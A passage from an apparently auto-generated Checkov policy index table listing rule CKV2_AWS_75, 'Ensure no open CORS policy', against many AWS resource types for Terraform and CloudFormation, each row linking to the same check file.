CKV2_AWS_75 | resource | aws_cloudwatch_event_rule | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2963 | CKV2_AWS_75 | resource | aws_cloudwatch_event_target | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2964 | CKV2_AWS_75 | resource | aws_cloudwatch_event_target | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2965 | CKV2_AWS_75 | resource | aws_cloudwatch_log_account_policy | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2966 | CKV2_AWS_75 | resource | aws_cloudwatch_log_account_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2967 | CKV2_AWS_75 | resource | aws_cloudwatch_log_anomaly_detector | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2968 | CKV2_AWS_75 | resource | aws_cloudwatch_log_anomaly_detector | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2969 | CKV2_AWS_75 | resource | aws_cloudwatch_log_data_protection_policy | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2970 | CKV2_AWS_75 | resource | aws_cloudwatch_log_data_protection_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2971 | CKV2_AWS_75 | resource | aws_cloudwatch_log_delivery | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2972 | CKV2_AWS_75 | resource | aws_cloudwatch_log_delivery | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2973 | CKV2_AWS_75 | resource | aws_cloudwatch_log_delivery_destination | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2974 | CKV2_AWS_75 | resource | aws_cloudwatch_log_delivery_destination | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2975 | CKV2_AWS_75 | resource | aws_cloudwatch_log_delivery_destination_policy | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2976 | CKV2_AWS_75 | resource | aws_cloudwatch_log_delivery_destination_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2977 | CKV2_AWS_75 | resource | aws_cloudwatch_log_delivery_source | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2978 | CKV2_AWS_75 | resource | aws_cloudwatch_log_delivery_source | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2979 | CKV2_AWS_75 | resource | aws_cloudwatch_log_destination | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2980 | CKV2_AWS_75 | resource | aws_cloudwatch_log_destination | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2981 | CKV2_AWS_75 | resource | aws_cloudwatch_log_destination_policy | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2982 | CKV2_AWS_75 | resource | aws_cloudwatch_log_destination_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2983 | CKV2_AWS_75 | resource | aws_cloudwatch_log_group | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2984 | CKV2_AWS_75 | resource | aws_cloudwatch_log_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2985 | CKV2_AWS_75 | resource | aws_cloudwatch_log_index_policy | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2986 | CKV2_AWS_75 | resource | aws_cloudwatch_log_index_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2987 | CKV2_AWS_75 | resource | aws_cloudwatch_log_metric_filter | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2988 | CKV2_AWS_75 | resource | aws_cloudwatch_log_metric_filter | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2989 | CKV2_AWS_75 | resource | aws_cloudwatch_log_resource_policy | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2990 | CKV2_AWS_75 | resource | aws_cloudwatch_log_resource_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2991 | CKV2_AWS_75 | resource | aws_cloudwatch_log_stream | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2992 | CKV2_AWS_75 | resource | aws_cloudwatch_log_stream | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2993 | CKV2_AWS_75 | resource | aws_cloudwatch_log_subscription_filter | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2994 | CKV2_AWS_75 | resource | aws_cloudwatch_log_subscription_filter | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2995 | CKV2_AWS_75 | resource | aws_cloudwatch_metric_alarm | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2996 | CKV2_AWS_75 | resource | aws_cloudwatch_metric_alarm | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2997 | CKV2_AWS_75 | resource | aws_cloudwatch_metric_stream | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2998 | CKV2_AWS_75 | resource | aws_cloudwatch_metric_stream | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2999 | CKV2_AWS_75 | resource | aws_cloudwatch_query_definition | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3000 | CKV2_AWS_75 | resource | aws_cloudwatch_query_definition | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3001 | CKV2_AWS_75 | resource | aws_codeartifact_domain | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3002 | CKV2_AWS_75 | resource | aws_codeartifact_domain | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3003 | CKV2_AWS_75 | resource | aws_codeartifact_domain_permissions_policy | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3004 | CKV2_AWS_75 | resource | aws_codeartifact_domain_permissions_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3005 | CKV2_AWS_75 | resource | aws_codeartifact_repository | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3006 | CKV2_AWS_75 | resource | aws_codeartifact_repository | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3007 | CKV2_AWS_75 | resource | aws_codeartifact_repository_permissions_policy | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3008 | CKV2_AWS_75 | resource | aws_codeartifact_repository_permissions_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3009 | CKV2_AWS_75 | resource | aws_codebuild_fleet | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3010 | CKV2_AWS_75 | resource | aws_codebuild_fleet | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3011 | CKV2_AWS_75 | resource | aws_codebuild_project | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3012 | CKV2_AWS_75 | resource | aws_codebuild_project | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3013 | CKV2_AWS_75 | resource | aws_codebuild_report_group | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3014 | CKV2_AWS_75 | resource | aws_codebuild_report_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3015 | CKV2_AWS_75 | resource | aws_codebuild_resource_policy | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3016 | CKV2_AWS_75 | resource | aws_codebuild_resource_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3017 | CKV2_AWS_75 | resource | aws_codebuild_source_credential | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3018 | CKV2_AWS_75 | resource | aws_codebuild_source_credential | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3019 | CKV2_AWS_75 | resource | aws_codebuild_webhook | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3020 | CKV2_AWS_75 | resource | aws_codebuild_webhook | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3021 | CKV2_AWS_75 | resource | aws_codecatalyst_dev_environment | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3022 | CKV2_AWS_75 | resource | aws_codecatalyst_dev_environment | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3023 | CKV2_AWS_75 | resource | aws_codecatalyst_project | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3024 | CKV2_AWS_75 | resource | aws_codecatalyst_project | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3025 | CKV2_AWS_75 | resource | aws_codecatalyst_source_repository | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3026 | CKV2_AWS_75 | resource | aws_codecatalyst_source_repository | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3027 | CKV2_AWS_75 | resource | aws_codecommit_approval_rule_template | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3028 | CKV2_AWS_75 | resource | aws_codecommit_approval_rule_template | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3029 | CKV2_AWS_75 | resource | aws_codecommit_approval_rule_template_association | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3030 | CKV2_AWS_75 | resource | aws_codecommit_approval_rule_template_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3031 | CKV2_AWS_75 | resource | aws_codecommit_repository | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3032 | CKV2_AWS_75 | resource | aws_codecommit_repository | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3033 | CKV2_AWS_75 | resource | aws_codecommit_trigger | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3034 | CKV2_AWS_75 | resource | aws_codecommit_trigger | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3035 | CKV2_AWS_75 | resource | aws_codeconnections_connection | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3036 | CKV2_AWS_75 | resource | aws_codeconnections_connection | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3037 | CKV2_AWS_75 | resource | aws_codeconnections_host | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3038 | CKV2_AWS_75 | resource | aws_codeconnections_host | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3039 | CKV2_AWS_75 | resource | aws_codedeploy_app | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3040 | CKV2_AWS_75 | resource | aws_codedeploy_app | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3041 | CKV2_AWS_75 | resource | aws_codedeploy_deployment_config | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3042 | CKV2_AWS_75 | resource | aws_codedeploy_deployment_config | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3043 | CKV2_AWS_75 | resource | aws_codedeploy_deployment_group | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3044 | CKV2_AWS_75 | resource | aws_codedeploy_deployment_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3045 | CKV2_AWS_75 | resource | aws_codeguruprofiler_profiling_group | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3046 | CKV2_AWS_75 | resource | aws_codeguruprofiler_profiling_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3047 | CKV2_AWS_75 | resource | aws_codegurureviewer_repository_association | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3048 | CKV2_AWS_75 | resource | aws_codegurureviewer_repository_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3049 | CKV2_AWS_75 | resource | aws_codepipeline | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3050 | CKV2_AWS_75 | resource | aws_codepipeline | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3051 | CKV2_AWS_75 | resource | aws_codepipeline_custom_action_type | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3052 | CKV2_AWS_75 | resource | aws_codepipeline_custom_action_type | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3053 | CKV2_AWS_75 | resource | aws_codepipeline_webhook | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3054 | CKV2_AWS_75 | resource | aws_codepipeline_webhook | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3055 | CKV2_AWS_75 | resource | aws_codestarconnections_connection | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3056 | CKV2_AWS_75 | resource | aws_codestarconnections_connection | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3057 | CKV2_AWS_75 | resource | aws_codestarconnections_host | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3058 | CKV2_AWS_75 | resource | aws_codestarconnections_host | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3059 | CKV2_AWS_75 | resource | aws_codestarnotifications_notification_rule | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3060 | CKV2_AWS_75 | resource | aws_codestarnotifications_notification_rule | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3061 | CKV2_AWS_75 | resource | aws_cognito_identity_pool | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3062 | CKV2_AWS_75 | resource | aws_cognito_identity_pool | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3063 | CKV2_AWS_75 | resource | aws_cognito_identity_pool_provider_principal_tag | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3064 | CKV2_AWS_75 | resource | aws_cognito_identity_pool_provider_principal_tag | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3065 | CKV2_AWS_75 | resource | aws_cognito_identity_pool_roles_attachment | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3066 | CKV2_AWS_75 | resource | aws_cognito_identity_pool_roles_attachment | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3067 | CKV2_AWS_75 | resource | aws_cognito_identity_provider | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3068 | CKV2_AWS_75 | resource | aws_cognito_identity_provider | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3069 | CKV2_AWS_75 | resource | aws_cognito_managed_user_pool_client | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3070 | CKV2_AWS_75 | resource | aws_cognito_managed_user_pool_client | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3071 | CKV2_AWS_75 | resource | aws_cognito_resource_server | Ensure no open CORS policy | Terraform | 